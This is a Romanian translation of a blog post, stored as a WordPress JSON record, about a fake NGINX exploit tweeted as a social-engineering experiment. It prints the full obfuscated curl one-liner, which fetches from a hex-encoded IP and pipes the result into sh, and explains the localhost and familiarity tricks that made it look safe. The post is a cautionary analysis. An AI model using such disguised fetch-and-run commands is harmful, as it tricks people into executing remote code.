{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Succesul experimentului social cu exploit fals pentru nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nota traduc\u0103torului.<\/b>: Autor<\/a><\/noindex> Not\u0103 original\u0103, publicat\u0103 pe 1 iunie, a decis s\u0103 efectueze un experiment \u00een r\u00e2ndul celor interesa\u021bi de securitatea informa\u021bional\u0103. Pentru aceasta, a preg\u0103tit un exploit fals pentru o vulnerabilitate necunoscut\u0103 \u00eentr-un server web \u0219i l-a postat pe Twitter. Presupunerile sale - de a fi imediat demascat de speciali\u0219ti, care vor observa dezinformarea evident\u0103 \u00een cod - nu s-au confirmat... Au dep\u0103\u0219it toate a\u0219tept\u0103rile, chiar \u00een sens invers: tweet-ul a primit un suport uria\u0219 din partea numero\u0219ilor oameni care nu s-au deranjat s\u0103 verifice con\u021binutul acestuia.<\/i><\/p>\n

\"Succesul
\n
\nTL;DR: cu niciun chip nu folosi\u021bi pipelining-ul fi\u0219ierelor \u00een sh sau bash. Este o modalitate excelent\u0103 de a-\u021bi pierde controlul asupra calculatorului.<\/b><\/a><\/noindex><\/p>\n

Vreau s\u0103 \u00eemp\u0103rt\u0103\u0219esc cu voi o mic\u0103 poveste despre un PoC-exploit glume\u021b, care a fost creat pe 31 mai. Acesta a ap\u0103rut rapid ca r\u0103spuns la vestea de la Alisa Esage \u0218evcenko<\/a><\/noindex>, membru Zero Day Initiative<\/a><\/noindex> (ZDI), despre faptul c\u0103 \u00een cur\u00e2nd va fi dezv\u0103luit\u0103 informa\u021bia despre o vulnerabilitate \u00een NGINX, care duce la RCE (execu\u021bia de cod de la distan\u021b\u0103). Deoarece NGINX st\u0103 la baza multor site-uri web, vestea ar fi trebuit s\u0103 aib\u0103 un impact de bomb\u0103. Dar din cauza \u00eent\u00e2rzierilor \u00een procesul de \u201edezv\u0103luire responsabil\u0103\u201d a informa\u021biilor, detaliile \u00eent\u00e2mpl\u0103rii nu au fost cunoscute - aceasta este procedura standard ZDI.<\/p>\n

\"Succesul
\nTweet<\/a><\/noindex> despre dezv\u0103luirea unei vulnerabilit\u0103\u021bi \u00een NGINX<\/i><\/p>\n

Termin\u00e2nd lucrul la o nou\u0103 tehnic\u0103 de obfuscare \u00een curl, am citat tweet-ul original \u0219i am \u201escurs un PoC\u201d de lucru, const\u00e2nd dintr-o singur\u0103 linie de cod, care pretindea c\u0103 folose\u0219te vulnerabilitatea descoperit\u0103. Desigur, acesta era complet fals. Credeam c\u0103 voi fi demascat imediat \u0219i c\u0103, \u00een cel mai bun caz, voi primi c\u00e2teva retweeturi (bine \u0219i at\u00e2t).<\/p>\n

\"Succesul
\nTweet<\/a><\/noindex> cu un exploit fals<\/i><\/p>\n

Cu toate acestea, nu am putut s\u0103-mi imaginez ce a urmat. Popularitatea tweet-ului meu a explodat. Uimitor, dar p\u00e2n\u0103 \u00een acest moment (15:00 MSK 1 iunie) pu\u021bini \u0219i-au dat seama c\u0103 este o fars\u0103. Mul\u021bi \u00eel retweet-eaz\u0103 f\u0103r\u0103 nicio verificare (nu mai vorbim de aprecierea graficii frumoase ASCII pe care o afi\u0219eaz\u0103).<\/p>\n

\"Succesul
\nUita\u021bi-v\u0103 ce frumuse\u021be!<\/i><\/p>\n

De\u0219i toate aceste cicluri \u0219i culori sunt remarcabile, este evident c\u0103 pentru a le vedea, oamenii au executat codul pe ma\u0219inile lor. Din fericire, browserele func\u021bioneaz\u0103 similar, iar av\u00e2nd \u00een vedere c\u0103 problemele legale nu m\u0103 intereseaz\u0103, codul ascuns pe site-ul meu nu f\u0103cea dec\u00e2t s\u0103 efectueze apeluri echo, f\u0103r\u0103 a \u00eencerca s\u0103 instaleze sau s\u0103 execu\u021bi orice alt cod suplimentar.<\/p>\n

O mic\u0103 deviere: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, eu \u0219i ceilal\u021bi b\u0103ie\u021bi din echip\u0103 Thugcrowd<\/a><\/noindex> ne juc\u0103m de ceva vreme cu diferite metode de obfuscare a comenzilor curl, pentru c\u0103 este amuzant... \u0219i suntem geeks. netspooky \u0219i dnz au descoperit c\u00e2teva metode noi care mi s-au p\u0103rut extrem de promi\u021b\u0103toare. M-am al\u0103turat distrac\u021biei \u0219i am \u00eencercat s\u0103 adaug conversii IP zecimale la setul de trucuri. Se pare c\u0103 IP-urile pot fi, de asemenea, convertite \u00een format hexadecimal. Mai mult, curl \u0219i majoritatea altor instrumente NIX accept\u0103 cu pl\u0103cere IP-urile hexadecimale! Astfel, a fost nevoie doar s\u0103 creez un prompt de comand\u0103 credibil \u0219i care s\u0103 arate sigur. \u00cen cele din urm\u0103 m-am oprit asupra urm\u0103toarei:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Ingineria socio-electronic\u0103 (S.E.E.) este mai mult dec\u00e2t un simplu phishing<\/h2>\n
\nSecuritatea \u0219i familiaritatea au fost esen\u021biale \u00een cadrul acestui experiment. Cred c\u0103 acestea au dus la succesul s\u0103u. Promptul de comand\u0103 sugera clar securitate, referindu-se la \u201e127.0.0.1\u201d (cunoscutul localhost). Se consider\u0103 c\u0103 localhost este sigur \u0219i c\u0103 datele de acolo nu p\u0103r\u0103sesc niciodat\u0103 computerul t\u0103u.<\/p>\n
Familiaritatea a fost al doilea component cheie S.E.E. al experimentului. Deoarece publicul \u021bint\u0103 era format \u00een principal din persoane familiarizate cu conceptele de baz\u0103 ale securit\u0103\u021bii computerelor, a fost important s\u0103 cre\u0103m un cod a c\u0103rui p\u0103r\u021bi p\u0103reau familiare \u0219i obi\u0219nuite (\u0219i deci sigure). \u00cemprumutarea elementelor din vechile concepte de exploatare \u0219i combinarea acestora \u00eentr-un mod neobi\u0219nuit s-a dovedit a fi foarte reu\u0219it\u0103.<\/p>\n
Mai jos este un detaliat descompus al comenzii de tip one-liner. Tot ce este \u00een aceast\u0103 list\u0103 este cosmetic<\/b>, iar pentru a func\u021biona cu adev\u0103rat, practic nu este necesar nimic.<\/i><\/p>\n
Ce componente sunt cu adev\u0103rat necesare? Acestea sunt -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> \u0219i serverul web. Serverul web nu con\u021binea instruc\u021biuni mali\u021bioase, ci doar transmitea grafic\u0103 ASCII prin comenzi echo<\/code> \u00een scriptul con\u021binut \u00een index.html<\/code>. C\u00e2nd utilizatorul introducea un \u0219ir cu |sh<\/code> \u00een mijloc, index.html<\/code> se \u00eenc\u0103rca \u0219i se executa. Din fericire, \u00eengrijitorii serverului web nu aveau inten\u021bii rele.<\/p>\n